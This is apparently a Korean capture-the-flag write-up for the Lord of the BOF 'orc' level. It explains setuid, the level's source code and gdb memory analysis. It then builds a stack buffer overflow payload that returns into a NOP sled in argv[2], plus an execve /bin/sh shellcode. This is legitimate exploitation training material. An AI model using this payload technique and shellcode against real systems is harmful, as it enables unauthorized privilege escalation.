id: goblin
pw: hackers proof
ls -al
마찬가지로 특수권한 ‘s’가 보인다.
여기서 ‘s’권한은 linux의 특수권한으로 ‘setUID’이다.
setUID가 설정된 파일은 실행 시 일시적으로 파일 소유자의 권한을 열어 실행할 수 있도록 한다.
따라서 gremlin 파일을 gate가 실행시킬 시, 소유자인 gremlin의 권한으로 rwx를 수행할 수 있는 것이다.
따라서 이 문제는 앞선 문제와 같이, goblin에서 orc의 셸을 따내어야한다는 것을 알 수 있다.
cat orc.c
이번에는 argc인자를 검사하는 과정이 추가되었고, argc가 2보다 작을 때 프로그램이 종료된다.
뿐만 아니라 buffer이외에도 여러 변수가 선언되어있고, 처음보는 함수도 있어서 한줄한줄 정리하고, 메모리구조를 정확하게 파악해야할 것 같다.
[goblin@localhost goblin]$ cat orc.c
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
extern char **environ
이는 C언어에서 환경변수에 접근하는 방법 중 하나이다.
즉, **environ은 환경변수 리스트를 가리키는 포인터로써 exturn키워드를 통해서 다른 파일에서 정의된 변수를 참조한다.
if(argc < 2){
printf("argv error\n");
exit(0);
}
int main(int argc, char* argc[]){ }
일단 위가 main함수 원형인데, argv는 argument vector로 main()에 전달되는 실질적인 정보, 문자열의 배열을 뜻하고, argc는 argument count로 main()에 전달되는 정보의 갯수를 뜻한다. 따라서 argc<2 일시 프로그램이 종료되는 것은, main()에 2개 미의 정보를 전달할 수 없다는 의미인데, 즉, argv[2] 에 셸코드를 삽입할 수 있을 것 같다.다음으로 //egghunter 이후의 코드를 살펴보면,
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
환경변수배열을 for문을 사용하여 순회하고, memset()에서 메모리의 특정 범위를 특정 값으로 채운다.
코드에서는 environ[i]
가 가리키는 환경변수 문자열의 모든 바이트를 0으로 설정한다. (즉, 지우는 것)
```bash
void* memset(void* ptr, int value, size_t num);
```
첫번째 인자 `environ[i]` 은 셋팅하고자 하는 메모리의 시작 주소,
두번째 인자 `0` 은 메모리에 셋팅하고자하는 값이다.
세번째 인자 `strlen(environ[i])` 는 길이를 뜻한다.
[[C언어/C++] memset 함수 메모리 초기화](https://blockdmask.tistory.com/441)
memset 함수로 인해서 2, 3번문제와 같이 환경변수를 이용한 공격은 불가할 것 으로 예상된다.
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
argv[1][47] != '\xbf'
이 조건문은 argv[1]
, 즉 첫 번째 명령줄 인자의 48번째 문자가 16진수로 '\xbf'
가 아닐때 프로그램을 종료시킨다.
cp orc goblin
gdb -q goblin
(gdb) disass main
gdb 를 사용하여 main의 메모리 구조를 살펴보면 아래와 같다.
이를 토대로 아래와 같이 간략히 메모리 구조를 그렸다.
i 가 buffer보다 더 늦게 선언되었기 때문에 페이로드 작성할 때 4만큼 더 채워줄 필요는 없을 듯 하다.
strcpy 다음과 메인함수 종료 직전에 브레이크 포인트를 설정하였다.
(gdb) b *main+194
(gdb) b *main+211
버퍼 사이즈 (40) + SFP (4) 즉, A를 44개 넣고, RET에는 \xbf 를 넣어 argv[1] 을 전달했다.
argv[2] 에도 값을 넣어주어 argv[2]의 주솟값을 알아내고자 한다.
(gdb) r `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90"*200 + "B"*40'`
0x90으로 채워진 주소들이 모두 argv[2] 기 때문에 그 중 0xbffffb9c
를 RET로 지정하기로 했다.
페이로드를 구성하면 아래와 같다.
메인에 인자를 세개 전달하는데,
첫번째 인자는 ./orc
두번째 인자는 NOP (40) + SFP (4) + NOP의 주소 (0xbffffb9c
)
세번째 인자는 NOP (200) + Shellcode (24)
./orc `python -c 'print "A"*40 + "B"*4 + "\x9c\xfb\xff\xbf"'` `python -c 'print "\x90"*200 + "{Shellcode}"'`
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80